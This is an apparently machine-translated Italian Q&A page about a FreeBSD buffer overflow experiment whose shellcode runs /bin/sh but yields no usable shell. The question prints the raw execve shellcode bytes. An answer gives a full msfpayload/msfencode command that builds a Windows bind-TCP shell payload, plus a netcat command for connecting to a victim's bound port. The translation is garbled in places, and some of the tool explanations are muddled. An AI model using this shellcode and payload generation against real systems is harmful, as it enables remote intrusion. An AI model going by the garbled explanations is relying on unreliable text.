2012-05-26 9 views
6

Ho sperimentato buffer overflow su un sistema FreeBSD. Come primo esperimento, ho provato a far sì che il programma sfruttato avvii un altro processo (/ bin/hostname in questo caso). Tutto ha funzionato, il programma ha stampato il nome host e poi è terminato. Successivamente ho provato a far generare al programma una shell (ad esempio eseguendo/bin/sh). Supponevo che ciò potesse essere fatto semplicemente scambiando la stringa che rappresenta il programma da chiamare. Quando provo a farlo, il programma sfruttato si chiude semplicemente, secondo gdb, genera un nuovo processo (/ bin/sh). Tuttavia, non viene generata alcuna shell. Ho quindi provato il mio primo exploit e ho spostato il file/bin/sh in/bin/hostname, ancora non cambia nulla. La mia domanda ora è, cosa sembra essere diverso nell'eseguire/bin/sh da qualsiasi altro comando?Buffer Overflow - Il programma termina dopo la generazione di una shell

Per riferimento, per il tentativo di guscio di deposizione delle uova ho usato il seguente shellcode:

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" 
"\x68\x2f\x62\x69\x6e\x89\xe3\x50" 
"\x54\x53\xb0\x3b\x50\xcd\x80"; 
+0

Questo potrebbe essere correlato: http://forums.freebsd.org/showthread.php?t=10054 – zxcdw

+0

Ulteriori informazioni sembrano essere necessarie, quindi inserisci il tuo codice includendo il tuo codice sorgente shell, in modo che le persone possano esaminarlo. – rumpel

risposta

3

Hah, capisco cosa vuoi dire, ma credo che stai facendo un errore fondamentale. Stai invocando una shell interattiva senza vincolarla.

È come chiamare un comando "ifconfig". Se vuoi eseguire un singolo comando, allora il tuo codice shell è perfetto, tuttavia se vuoi una shell interattiva, non puoi semplicemente eseguire sh.

La semplice esecuzione di sh causerà l'esecuzione di una shell, ma non fornirà il controllo interattivo sulla shell.


Soluzione: utilizzare un generatore di codice shell per fare un guscio tcp inversa o un guscio di legare e utilizzarlo come il carico utile per il vostro sfruttare.

Se si sta tentando di farlo in Metasploit, ecco un comando di esempio che si desidera.

msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/alpha_mixed -b '\x00' -t c 
  • Msfpayload è il nome della funzione. finestre/shell_bind_tcp rappresenta l' exploit percorso
  • LPORT è la porta su cui la macchina vittima remota avrà il guscio accessibile
  • R è per l'uscita greggio
  • Poi tubo che a msfencode poiché abbiamo bisogno di essere codice C per essere eseguibile e deve essere elaborate per tale architettura
  • -e indica il tipo di codifica e architettura per supportare, ad esempio la è per Win Sp2
  • -b indica i byte non si possono utilizzare nel guscio codice. Esempio 00 è un byte di fine stringa
  • -t è il tipo di uscita, come codice C.

Cerca un po 'di più e divertiti. Essenzialmente è molto più difficile ottenere una shell interattiva rispetto all'esecuzione di un comando statico.

Una volta terminato, è possibile utilizzare un programma come netcat per connettersi e utilizzare la shell.

netcat.exe -nv <victim ip> <port where shell was bound to> 

Spero che questa fosse la soluzione giusta.

Problemi correlati